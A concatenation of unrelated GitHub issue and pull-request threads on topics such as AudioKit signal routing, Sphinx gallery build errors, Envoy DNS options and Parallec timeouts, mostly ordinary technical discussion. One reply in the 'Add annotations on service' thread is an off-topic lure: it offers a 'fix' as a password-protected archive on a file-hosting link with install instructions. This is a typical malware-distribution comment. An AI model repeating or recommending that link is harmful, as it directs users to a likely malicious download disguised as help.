
Hello, I am creating a small app in conjunction with my senior design project for school. The goal is to have a simple morphing oscillator and a low-pass filter. I want to be able to control the frequency of the oscillator, the cutoff of the low-pass, and the wave form of the oscillator. Here is my code:
`import UIKit
import AudioKit
class ViewController: UIViewController {
var node1 = AKAudioPlayer(<#T##file: String##String#>)

var morph = AKMorphingOscillator(waveformArray:[AKTable(.Sine), AKTable(.Triangle), AKTable(.Sawtooth), AKTable(.Square)])
let lowPassFilter = AKLowPassFilter(morph, cutoffFrequency: 50, resonance: 0);
override func viewDidLoad() {
    super.viewDidLoad()

    lowPassFilter.cutoffFrequency = 50
    lowPassFilter.resonance = 0

    node1.output = morph
    AudioKit.output = lowPassFilter
    AudioKit.start()
    morph.frequency = 0
    morph.start()

}

override func didReceiveMemoryWarning() {
    super.didReceiveMemoryWarning()
    // Dispose of any resources that can be recreated.
}

@IBAction func changeFrequency(sender: UISlider) {
    morph.frequency = Double(sender.value)
}

}`
I took out the function where I was trying to change the waveform all together because it kept crashing. I originally created a UI slider that would move from value 0 to 3 and each vlue would be a different waveform. However, every time I moved the slider the app would crash. How can I get the oscillator to switch between the waveforms smoothly?
Also how can i get the low-pass filter set-up properly. XCode keeps telling me I need a type of AKNode in the declaration of the filer, but no matter what node I put in it doesn't seem to work. Any help would be greatly appreciated. Thanks

I'm happy to do a screenhero screenshare but I don't see from glancing your code what could be wrong.

Well, except that node1 stuff - the file placeholder and then node1.output = morph?  Not sure what you're trying to do there.

Unfortunately I am at work right now so I can't screen share. I'll try to outline what I think is going on. I am new to coding iPhone apps so bare with me a little bit.
So I initially tried to assign a node to an AKAudioPlayer thinking it was another way of routing audio, but I am not sure thats correct. I was thinking I would output the morph oscillator through node1 and then route node1 into the low-pass filter? But I don't think that is working.
My main issue is trying to figure out the declaration of the lowPassFilter
At first I tried to declare it as...
let lowPassFilter = AKLowPassFilter(morph)
but i get "instance member morph cannot be used on type 'ViewController'"
And from then on I can't figure out how to properly declare it. The documentation says that AKLowPassFilter takes an AKNode as the first part of its declaration but whenever I put in a node i receive an error. Is there a specific kind of node that needs to be included in the first part of the declaration?

Alternatively, now I am declaring it as
let lowPassFilter = AKLowPassFilter(AudioKit.output!)
and i get the Fatal Error: Unexpectedly found nil while unwrapping an optional value.

You absolutely cannot send AudioKit.output into the into the input of the low pass filter.  The output is there just so you can send the very last item in your signal chain to it.  So you were better off with AudioKit.output = lpf  Have you taken a look at the examples or the playgrounds?

I think this is more of a discussion than an issue.  We have a google forum at:  https://groups.google.com/forum/#!forum/audiokit
Also happy to do a screenshare with you and walk you through your signal chain setup.


chrome v6.0 format error

chrome v6.0 format error ！ regular expresstions are not supported  Unicode model

Related to: https://github.com/inferrinizzard/prettier-sql/issues/84

Closing this, as Google Chrome version 6.0 is terribly old. Seems to work fine in Chrome version 101.


Update datasets_standard_format.py

Modify the inappropriate interpretation of the num_samples parameter, it should not be images here.

What type of PR is this?

Uncomment only one  /kind <> line, hit enter to put that in a new line, and remove leading whitespaces from that line:
/kind bug
/kind task
/kind feature

What does this PR do / why do we need it:
Which issue(s) this PR fixes:

Fixes #
Special notes for your reviewers:

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


setup_node.sh turns off system swapping

The setup_node.sh script turns off virtual memory swapping (using swapoff -a) and never turns it back on again.  I assume this has something to do with making sure that $SECRET doesn't leak any information, but it does leave the system in a potentially different state after running the script.

This is actually not a bug, exactly.  As per this issue:
https://github.com/kubernetes/kubernetes/issues/53533
Swap is not supported on worker nodes.  I am monitoring that for a fix if it's implemented, but for how this is the reason swap is disabled.


Procedure for building docs

So when trying to run Sphinx Gallery I get an error that is easy to understand. However, I feel that I'm probably missing something in your workflow rather than touch examples/README.txt. Could you include more verbose instructions in CONTRIBUTING?
(hnn) Blakes-MacBook-Pro:doc blake$ make html
sphinx-build -b html -d _build/doctrees   . _build/html
Running Sphinx v2.1.1
making output directory... done
generating gallery...

Exception occurred:
  File "/Users/blake/miniconda3/envs/hnn/lib/python3.6/site-packages/sphinx_gallery/gen_gallery.py", line 262, in generate_gallery_rst
    .format(examples_dir))
FileNotFoundError: Main example directory /Users/blake/repos/mne-neuron-new/doc/../examples does not have a README.txt file. Please write one to introduce your gallery.
The full traceback has been saved in /var/folders/zq/5r57yxls19q2wcq98g5r4gb40000gn/T/sphinx-err-ikb8ajow.log, if you want to report the issue to the developers.
Please also report this if it was a user error, so that a better error message can be provided next time.
A bug report can be filed in the tracker at <https://github.com/sphinx-doc/sphinx/issues>. Thanks!
make: *** [html] Error 2

arggh ... sorry about that. This should be fixed. We should have a README.txt just as in MNE

Another issue.
(hnn) Blakes-MacBook-Pro:doc blake$ make html
sphinx-build -b html -d _build/doctrees   . _build/html
Running Sphinx v2.1.1
generating gallery...
/Users/blake/miniconda3/envs/hnn/lib/python3.6/site-packages/matplotlib/figure.py:445: UserWarning: Matplotlib is currently using agg, which is a non-GUI backend, so cannot show the figure.
  % get_backend())

Exception occurred:
  File "/Users/blake/miniconda3/envs/hnn/lib/python3.6/site-packages/sphinx_gallery/binder.py", line 253, in check_binder_conf
    'Did not find one of `requirements.txt` or `environment.yml` '
ValueError: Did not find one of `requirements.txt` or `environment.yml` in the "dependencies" section of the binder configuration for sphinx-gallery. A path to at least one of these files must exist in your Binder dependencies.

You have a fix merged in sphinx-gallery, but it would seem a Dockerfile needs to be created for mne-neuron?
https://github.com/sphinx-gallery/sphinx-gallery/issues/476

ah, you are having this issue because sphinx-gallery has not made a release since I made the fix. If you use the development version of sphinx-gallery you should not have the problem. I could update the contributing.md if you want but it would need to be updated again when sphinx-gallery makes their release

Dockerfile needs to be created for mne-neuron?

This is only for the binder demo. I prefer not to force people to use docker images as much as possible.


travis: Push releases to Jenkins SCP mirror

Before, Jenkins pulled the GitHub releases for every test run. This led
to inflated download metrics. This commit pushes releases to a SCP
server in addition to GitHub so that Jenkins won't need to hit the
GitHub release when testing.

Note to self -- this shouldn't be merged until the SCP server is deployed or else the build will fail.


Automate new issue creation when new Polkadot release is published

As a Polkadot is project major dependency we would like to make sure we are keeping our releases inline with the latest version of Polkadot so that our deployments are running the latest version of Polkadot.
Acceptance criteria:

when a new version/release has been published on polkadot a new issue should be created in this repo
the new issue should have the title UPGRADE {version number}
the new issue should have a description containing Upgrade Priority, Host functions, Database Migrations, Runtime Migrations and a link to the polkadot versioned release

Tasks:

[x] Research how to dispatch workflow in repo A based on a new release in repo B we don't have access to
[x] Create workflow to record the latest Polkadot Release
[x] Merge and Test workflow on main
[x] Adjust cron schedule to once per day
[x] Create workflow that would create a new GitHub issues once  Polkadot release file has been updated
[ ] Update Frequency CI diagram

@p5150j Just wanted to make sure we are only interested in Polkadot full releases and all release candidates can be skipped.

I think thats fine.


FEEL autocomplete does not recognize imported models when using the classic DMN Editor

When the user uses the new boxed expression editor and the classic DMN Editor with imported models, the imported model elements are not recognized by the autocomplete and are painted in red (as a error) by the syntax highlight.
https://github.com/apache/incubator-kie-issues/assets/7305741/5f07cca8-73df-4992-89c5-b834736241fd
To fix this issue:
We need to load external models here: https://github.com/apache/incubator-kie-tools/blob/187a6e5d929b0b0ea1529b113fd2195a2f246a12/packages/stunner-editors-dmn-loader/src/index.tsx#L193
As it is loaded here: https://github.com/apache/incubator-kie-tools/blob/187a6e5d929b0b0ea1529b113fd2195a2f246a12/packages/dmn-editor/src/boxedExpressions/BoxedExpressionScreen.tsx#L114

The ticket title says is only classic, but the ticket description says both new and classic editors are affected.

The ticket title says is only classic, but the ticket description says both new and classic editors are affected.

Where?

@danielzhe I mean this

That's correct, @jomarko
One thing is the DMN Editor, another thing is the boxed expression editor. There are two versions of both. The classic DMN Editor, the classic Boxed Expression Editor, the new DMN Editor, and the new Boxed Expression Editor.
The classic BEE does not have FEEL autocomplete, only the new one.
So the issue happens when the user is using the classic DMN Editor and the new BEE.
I think the classic BEE is not available in all distributions, that's why the confusion.


Fixes the issue where the prepared statement's plan_name is truncated

Currently the raw query is used for the prepared statement name (plan_name).
But postgres silently truncates names after 63 characters. This fixes hashes the query using sha1 to use as the name.
I couldn't test pq myself as I don't have it running so if somebody could test it that would be great.

Coverage decreased (-2.3%) to 62.642% when pulling a8085f0a1be07cdb5aa7c6eb4880a4bd2b4de52d on PeeHaa:hash-plan-name into 8e37f2aaa6bea38bdcb4590a4f9675bb64c70250 on amphp:master.

D'oh! Let me fix the tests too

@PeeHaa Yeah, a prefix makes sense.

Coverage increased (+0.1%) to 65.038% when pulling 8c1887b18b62bd5160f2661a62ff77b368e0c6d7 on PeeHaa:hash-plan-name into 8e37f2aaa6bea38bdcb4590a4f9675bb64c70250 on amphp:master.

The failing test is CS fixer complaining. Wasn't me. Promise :-)

The recent CS fixer version added some new checks that it's complaining about. Had this come up in some other packages too.


remove taxes for included in price

Hi,
I tried the plugin, and i was wondering if it is possible to make it work for the included taxes. It works for non included taxes (removes the taxes depending of which country i select), but not for included taxes.
Is it normal or maybe i am doing something wrong.
Thank you for your help

Hi @t-n-y,
thanks for reporting this issue.
It would be great to reproduce this behavior and extend the tax total checkout test or create a similar one before implementing this feature.

@t-n-y you can update to package version v1.3.1 and included VAT will be deducted from order items and shipping fees. There may be errors in special situations, for example promotions have not been tested yet.


Fix folding Array literals (close #608) (close #609)

@boopathi Any chance you could take a look at #606?

Yes. It'll be hard to rebase that one. Cool. I'll get that checked and merge it and then rebase and merge this one.


Warn on version mismatches

Reported by @ahayschi and @reidmcy
We should check for version mismatches and raise an error under certain circumstances. Related to #228.

The version information is now captured from the managers and returned to the interchange. We should decide if it is okay to have this information go into the interchange logs or float back to the executor. The obvious route would be to have this information return via the status command to report a manager in an exceptional state due to version mismatch.


Force title to be a string

Hi @davecoffin,
setting number for title such as date [2020, 2021] causing app crash item.title.toLowerCase() is not a function to avoid this I forced to string on it.

published with<EMAIL_ADDRESS>thanks @kefahB


[prim_ram_2p] Add write mask

Copy the write mask logic from the single port RAM.

Ah, this requires more changes to the adv wrapper. I'll have a look later today.

Maybe it is worth to make separate module or make bitmask totally turning off-able is nice to have as we eventually have SRAM with/without bitmask.

I think we can keep a single prim_ram_2p, and provide optimizations like "use a SRAM macro without or with reduced write mask support" inside the actual implementation of prim_ram_2p for a specific technology. All necessary information to make this optimization is available.
For example, to build a 2p RAM implementation (e.g. prim_myasictech_ram2p), which doesn't support write masks at all, simply assert that DataBitsPerMask == Width. If you have a SRAM macro which only supports byte enables (and not bit enables), then you can do DataBitsPerMask == 8. Or don't assert, but use a generate block to target different macros depending on that setting.
By staying with one single interface, we can easily make such optimizations at any time without changing the wider system.

@eunchan would you mind having another look?


Don't hard code port number

Instead of hard-coding the port for the tornado app to 8070, it should be selected from the available ports in the system.
For that, we need to use select_port from spyder/utils/misc.py

I tried to implement that functionality without sucess

What if you wait until the port is closed? Or force it to close?


Fixed gradle build error for support:compatibility

Current project features a build error as it is unable to resolve support:compatibility in the OpenStreetMapViewer\build.gradle. This error is referenced in issue #194.

Error:(32, 13) Failed to resolve: android.support:compatibility-v4:23+

This is resolved by replacing the dependency:

compile 'android.support:compatibility-v4:23+'
with
compile 'com.android.support:support-v4:23+'

It should be possible to remove the dependency altogether as osmdroid handles all its own API conditions.
The project builds without the dependency, but that's as far as I've tested it.

@johnnynotsolucky it is required for the example app. When removing it from the maven build, it fails. Also fails with 'gradle clean build'

Zach, wouldn't it be better to use 'buildToolsVersion=23+'? that would reduce our need to maintain these files everytime google decides to push an update

@johnnynotsolucky As @spyhunter99 has stated, if the user does a clean build, the dependency is still required. For example, the OpenStreetMapViewer module's MapActivity extends FragmentActivity from this support library. I see it as still necessary to change this gradle dependency as the original does not appear to exist and this allows building.
@spyhunter99 I actually did not intend to push up those changes yet for building. I should have branched and made a seperate pull request to acknowledge the cleanup, but forgot pull requests automatically pull updates. (Slightly rusty on my git, relearning bad behavior.) As for your suggestion to use buildToolsVersion=23+,  Android Studio does not seem able to accept this usage. I recognize it is a hassle to maintain the minor updates, but figure it would be worthy to tweak every so often with minor maintenance.


Expose c-ares init parameters to the cluster api

Title: Expose c-ares init parametersto the cluster api
Description:

Describe the desired behavior, what scenario it enables and how it
would be used.

Similar to use_tcp_for_dns_lookups docs I would also like the timeouts (see ares_init_options) property to be exposed via the cluster api.
Why this change is important
tl;dr: when a Windows container startup the first channel is dirty and this incurs a 2:30 mins timeout.
Consider the following setup:
Kubernetes cluster with a Windows and Linux node
On linux node: control.plane.svc.cluster.local
Windows:

Envoy container is trying to start and attempts to resolve address control.plane.svc.cluster.local
Envoy attempts to resolve the address
c-ares is loads the known dns suffix from registry keys into the channel when
c-ares attempts to resolve the address with timeout t and retries r.
Windows is setting up the container registry with the known suffix.
c-ares never updates the channel and the dns resolution times out after two minutes

@envoyproxy/api-shepherds since this involves an API change
@envoyproxy/windows-dev

Can we do this after https://github.com/envoyproxy/envoy/pull/17479 lands and restrict to just the c-ares extension?

yes, for sure, makes sense. I don't mind waiting for this PR to get merged as long as it is within a reasonable time.
Is the PR on track to get merged or are you iterating on the design?

This issue that motivated the change appears only when the container runtime is docker rather than containerd.
According to sig-windows Kubernetes is moving forward with containerd as the container runtime in the future so I do not have motivation for this change.
If anyone needs this feature then feel free to open the issue and I can chime in


Actionsflow examples

https://github.com/theowenyoung/homework-track

https://github.com/stu43005/sdorica-actionsflow/tree/main/workflows


Include LineSymbolizer changes in parser

Important: Please wait with merging this PR until

[x] this PR of geostyler-style
was merged.

stroke-linecap, stroke-linejoin, perpendicularOffset, stroke-dashoffset, graphic-stroke, will now be parsed. Tests and tesfiles were updated accordingly.

@jansule : Please rebase against current master

@terrestris/devs ready for merge


Add annotations on service

Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
Describe the solution you'd like
A clear and concise description of what you want to happen.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


implement FormData.get and FormData.getAll

The implementation is maybe very simplistic but it may do the job
See:

get
getAll

Coverage increased (+0.08%) to 98.095% when pulling 4fde5437e3af2c8e41e3dcb4b305daf973fd624d on jdeniau:jd-feat-getAndGetAll into<PHONE_NUMBER>17aaeee928a50e6c7e5f3af5ab7c2f on form-data:master.

Th appveyor test is failing randomly I don't know why (I tried to amend and push another time, and it failed on another test case)

@alexindigo could you take a look to this mate. I need this feature/

Hey @jdeniau, for me to be able to finish the other APIs I will need the changes that I suggest. Would be better for me to work on top what you did already rather than duplicating the work.

Looks good to me, I will work on this, but I did not quite well understand the [constructing the entry list(https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#constructing-the-form-data-set) part :thinking:

@jdeniau well that one is for the web actually
FormData constructor expects an optional form.
If you pass a form you need to loop throw the list of inputs under that form and do an append of the entry where the entry name is the field name and the value is the field value based on some weird stuff.
But this code is only for NodeJS, unless you are trying to monkey patch that as well.


Add nogil: to check_status

We wanted to annotate all of wrapper methods with "nogil", but "cpdef xxx() nogil:" was not valid.
I discussed with okuta, and we decided not to merge and keep as is for now.


Inconsistent ANTLR versions

Is the Docker image on DockerHub up-to-date? I am getting the following error when trying to run any instruction in Jupyter using Trevas core:
ANTLR Tool version 4.8 used for code generation does not match the current runtime version 4.7.2

Thanks! Now it works.


New version: PlutoReport v0.2.1

Registering package: PlutoReport
Repository: https://github.com/DhruvaSambrani/PlutoReport.jl
Created by: @DhruvaSambrani
Version: v0.2.1
Commit: f86271494d7d6e39ddbba8a0acaedab3d6401c07
Git reference: main
Description: Make awesome reports and talk slides in Pluto!

Hi, please close this PR as it is erroneous. The correct PR #66192 has been merged


fix: docs: fix contributor's guide 404 link

Quick PR template fix for contributor's guide. Note: the link on that page for the code of conduct is also a 404. Currently it is pointing at https://universal-blue.org/CODE_OF_CONDUCT.md

I'm find with this change, but @KyleGospo in addition, I thought we added this path to the bulk redirects... but it seems we didnt?


Getting time out after 14 seconds

I have the following Config
private ParallelTaskConfig genParallelTaskConfig() {

         ParallelTaskConfig config = new ParallelTaskConfig();
         config.setActorMaxOperationTimeoutSec(120);

         config.setTimeoutInManagerSec(120);
         config.setTimeoutAskManagerSec(710);

         return config;
     }

I see errors
2018-06-23 00:46:03.401  INFO 20095 --- [ParallecActorSystem-akka.actor.default-dispatcher-10] io.parallec.core.actor.ExecutionManager  :
[4]__RESP_RECV_IN_MGR 4 (+0) / 4 (100.00%)  AFT 14.133 S @ API_2 @ 2<IP_ADDRESS>.46.03.401-0400 , TaskID : 0f39b86b-82a , CODE: NA, RESP_BRIEF: EMPTY , ERR: java.util.concurrent.TimeoutException: No response received after 14000
why would that be ?

I was able to figure it out. I just had to initialize the global timeout values before I created parallec client. When I moved them, it started working fine.